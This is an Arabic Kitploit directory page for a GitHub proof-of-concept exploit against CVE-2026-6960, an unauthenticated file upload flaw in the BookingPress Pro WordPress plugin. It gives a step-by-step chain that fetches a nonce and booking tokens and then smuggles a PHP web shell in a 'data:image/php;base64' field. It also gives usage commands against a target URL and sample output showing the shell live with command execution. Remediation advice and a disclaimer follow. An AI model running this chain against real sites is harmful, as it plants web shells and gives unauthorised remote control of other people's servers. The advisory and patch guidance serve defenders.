Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-6960 — استغلال إثبات المفهوم لثغرة CVE-2026-6960: رفع ملفات تعسفي بدون مصادقة في BookingPress Pro ≤ 5.6. يقوم بأتمتة سلسلة من 3 خطوات لرفع ويب شيل PHP عبر حقن بيانات URI، مما يحقق تنفيذًا عن بُعد للتعليمات البرمجية على مواقع WordPress المعرضة للخطر. | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-6960
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubxxconi/cve-2026-6960

CVE-2026-6960

استغلال إثبات المفهوم لثغرة CVE-2026-6960: رفع ملفات تعسفي بدون مصادقة في BookingPress Pro ≤ 5.6. يقوم بأتمتة سلسلة من 3 خطوات لرفع ويب شيل PHP عبر حقن بيانات URI، مما يحقق تنفيذًا عن بُعد للتعليمات البرمجية على مواقع WordPress المعرضة للخطر.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | رفع ملفات تعسفي دون مصادقة

CVE CVSS CWE Auth Version Python

البحث بواسطة: Atomic Edge الخطورة: حرجة | CVSS: 9.8 | المصادقة المطلوبة: لا شيء

⚠️ الإصدار 2 — تم تطبيق تصحيحات تقنية بناءً على ملاحظات المجتمع. راجع سجل التغييرات للتفاصيل.


نظرة عامة

توجد ثغرة حرجة لرفع ملفات تعسفي دون مصادقة في إضافة ووردبريس BookingPress Pro (الإصدارات ≤ 5.6). يعالج مُعالج إرسال الحجز bookingpress_book_appointment_booking قيمة حقل مخصص من نوع التوقيع كـ data URI. تستخرج الإضافة امتداد الملف من جزء نوع MIME في الرابط عبر regex وتمرّره مباشرةً إلى file_put_contents() — دون قائمة سماح أو قائمة منع للامتدادات. يتيح ذلك للمهاجم كتابة قشرة ويب PHP إلى دليل يمكن الوصول إليه عبر الويب وتحقيق تنفيذ أكواد عن بُعد (RCE).


المتطلبات المسبقة

⚠️ يجب أن تتحقق جميع الشروط التالية لكي يكون الموقع قابلًا للاستغلال:

  • ✅ يجب على مسؤول الموقع تكوين حقل مخصص من نوع التوقيع في نموذج حجز BookingPress
  • ✅ يجب أن توجد خدمة نشطة واحدة على الأقل (لتوليد فترة زمنية صالحة)
  • ✅ يجب أن تكون الصفحة التي تحتوي على أداة نموذج حجز BookingPress متاحة للجمهور

المواقع التي تعمل بإصدار ≤ 5.6 دون تكوين حقل توقيع مخصص غير قابلة للاستغلال عبر هذا الناقل.


تدفق الهجوم

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

تفاصيل السبب الجذري

يعالج مسار الكود المعيب قيمة حقل التوقيع كـ data URI:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

تستخرج BookingPress {ext} من نوع MIME باستخدام تطابق regex، ثم تكتب المحتوى المفكوك ترميزه إلى القرص باستخدام file_put_contents() مع إلحاق هذا الامتداد باسم الملف — لا يتم إجراء أي فحص لقائمة السماح. يؤدي توفير image/php كنوع MIME إلى كتابة ملف .php في دليل الرفع.

يختلف هذا جوهريًا عن رفع الملفات القياسي متعدد الأجزاء — فالحمولة مضمّنة في حقل نص JSON، وليست جزءًا من رفع ملف.


المتطلبات

root@kitploit:~
pip install requests

الاستخدام

root@kitploit:~
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

الوسائط

مثال على المخرجات

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

المعالجة

  1. تحقق من نوع MIME الخاص بـ data URI مقابل قائمة سماح صارمة (image/png, image/jpeg, image/svg+xml) قبل استخراج الامتداد
  2. لا تستمد امتداد الملف أبدًا من مدخلات يتحكم بها المهاجم — أنشئ اسم ملف عشوائيًا بامتداد آمن ثابت
  3. استخدم دالة ووردبريس الأصلية wp_check_filetype_and_ext() لجميع عمليات التحقق من نوع الملف
  4. فكر في تخزين ملفات التوقيع خارج جذر الويب لمنع التنفيذ المباشر

→ قم بالتحديث إلى BookingPress Pro 5.7 فورًا.


سجل التغييرات

v2 (2026-05-23) — تصحيحات تقنية


إخلاء المسؤولية

هذا المستودع مخصص لأغراض البحث الأمني المصرح به والتعليم فقط. لا تستخدم هذه الأداة ضد أي نظام دون إذن كتابي صريح من مالك النظام. قد ينتهك الاستخدام غير المصرح به قانون CFAA (الولايات المتحدة)، والقانون الجنائي s.342.1 (كندا)، وتوجيه الاتحاد الأوروبي NIS2، وقوانين أخرى سارية. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام أو الأضرار الناشئة عن هذا الكود.

تنزيل الأداة
الخاصيةالتفاصيل
الإضافةBookingPress Pro (bookingpress-appointment-booking-pro)
الإصدارات المتأثرة≤ 5.6
أُصلح في5.7
ناقل الهجومشبكة / دون مصادقة
إجراء AJAXbookingpress_book_appointment_booking
السبب الجذرياستخراج الامتداد من نوع MIME المتحكم فيه من قبل المهاجم في data URI → file_put_contents() دون قائمة سماح
CWECWE-434: رفع غير مقيد لملف بنوع خطير
العلامةالوصفالافتراضي
-u, --urlعنوان URL المستهدف لووردبريس(مطلوب)
-bp, --booking-pageمسار الصفحة الذي يحتوي على نموذج BookingPress/
-s, --service-idمعرف خدمة BookingPress1
-f, --filenameاسم ملف القشرة (يُحقن الامتداد في MIME الخاص بـ data URI)shell.php
--no-verifyتعطيل التحقق من شهادة SSLfalse
#المشكلةv1 (غير صحيح)v2 (مصحح)
1إجراء AJAXbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2طريقة الحمولةرفع ملفات متعدد الأجزاء مع image/pngData URI: data:image/{ext};base64,...
3تدفق الاستغلالPOST مباشر دون مصادقةسلسلة متطلبات مسبقة من 3 خطوات (nonce → transient → token)
4شرط مسبقغير موثقيجب تكوين حقل مخصص من نوع التوقيع